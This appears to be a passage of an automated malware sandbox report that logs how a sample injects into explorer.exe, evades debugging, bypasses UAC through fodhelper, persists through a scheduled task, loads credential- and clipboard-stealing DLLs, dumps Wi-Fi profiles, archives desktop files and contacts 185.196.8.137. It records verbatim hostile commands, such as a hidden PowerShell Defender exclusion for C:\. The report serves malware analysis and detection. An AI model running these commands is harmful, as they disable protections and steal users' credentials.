Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B88B.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	17_2_00BF2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	17_2_00BF1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	17_2_00BF3ED9
Source: C:\Windows\explorer.exe	Code function: 20_2_009E30A8 FindFirstFileW,FindNextFileW,FindClose,	20_2_009E30A8
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EF158F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free,	21_2_00EF158F
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_004D255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	22_2_004D255C

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486EE8E20 GetLogicalDriveStringsW,

2_3_00007DF486EE8E20

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486F47344 GetSystemInfo,

2_3_00007DF486F47344

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: explorer.exe, 0000000C.00000000.2083677940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: OpenWith.exe, 00000002.00000003.1854724297.000002427DAA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkLinkcLinkSymbolicLink
Source: dialer.exe, 00000001.00000002.1767971619.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.000000000982D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AppLaunch.exe, 00000006.00000002.2027105987.0000018E5DB2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorer.exe, 0000000C.00000000.2083677940.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 0000000C.00000000.2083677940.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000C.00000000.2083677940.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000019.00000002.2411494217.000002281527F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: explorer.exe, 0000000C.00000000.2080043693.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: explorer.exe, 0000000C.00000000.2080043693.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: OpenWith.exe, 00000002.00000003.1863516822.000002427DA83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLinkcLinkSymbolicLinks
Source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: OpenWith.exe, 00000002.00000003.1977903926.000002427DAAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-0
Source: AppLaunch.exe, 00000006.00000002.2028497976.0000018E77E40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000000C.00000000.2082917976.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: OpenWith.exe, 00000002.00000003.1854724297.000002427DAA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkmbolicLinkSymbolicLink@
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Roaming\utihrjr

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\e7CLP6462y.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Roaming\utihrjr

System information queried: CodeIntegrityInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\utihrjr

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Code function: 6_2_0000018E5D84DCA8 LdrLoadDll,

6_2_0000018E5D84DCA8

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_0031A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_0031A4ED

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_0030FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

15_2_0030FA0A

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_00427277 mov eax, dword ptr fs:[00000030h]	0_3_00427277
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_2_00427277 mov eax, dword ptr fs:[00000030h]	0_2_00427277
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B4027F mov eax, dword ptr fs:[00000030h]	1_3_02B4027F
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Code function: 14_3_00427277 mov eax, dword ptr fs:[00000030h]	14_3_00427277
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0031DC12 mov eax, dword ptr fs:[00000030h]	15_2_0031DC12
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00319F9B mov eax, dword ptr fs:[00000030h]	15_2_00319F9B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EEDC12 mov eax, dword ptr fs:[00000030h]	21_2_00EEDC12
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EE9F9B mov eax, dword ptr fs:[00000030h]	21_2_00EE9F9B
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 31_3_02A8027F mov eax, dword ptr fs:[00000030h]	31_3_02A8027F

Source: C:\Users\user\Desktop\e7CLP6462y.exe

Code function: 0_2_0040170C HeapCreate,HeapAlloc,HeapAlloc,GetModuleHandleA,HeapAlloc,CreateEventA,memcpy,HeapAlloc,memcpy,GetProcessHeap,RtlAllocateHeap,memcpy,GetProcessHeap,HeapAlloc,memcpy,memcpy,HeapFree,WaitForSingleObject,FindCloseChangeNotification,VirtualFree,GetProcessHeap,HeapFree,HeapDestroy,

0_2_0040170C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB71A90 NtAcceptConnectPort,NtAcceptConnectPort,RtlAddVectoredExceptionHandler,	2_2_000002427BB71A90
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0031A4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0031A4ED
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0030162A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0030162A
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00300C5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00300C5C
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EEA4ED IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00EEA4ED
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED162A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00ED162A
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED0C5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_00ED0C5C

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: utihrjr.12.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 185.196.8.137 80

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_002E6990 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

15_2_002E6990

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Thread created: C:\Windows\explorer.exe EIP: 8741950			Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Thread created: unknown EIP: 87A1950			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 4364 base: ED79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7108 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6072 base: ED79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2668 base: ED79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2564 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 1816 base: ED79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4112 base: ED79C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3740 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2164 base: ED79C0 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: ED79C0	Jump to behavior

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\."
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"

Source: explorer.exe, 0000000C.00000000.2079761485.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2082917976.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000C.00000000.2077469078.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000C.00000000.2078034225.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_00301816 cpuid

15_2_00301816

Source: C:\Windows\System32\OpenWith.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
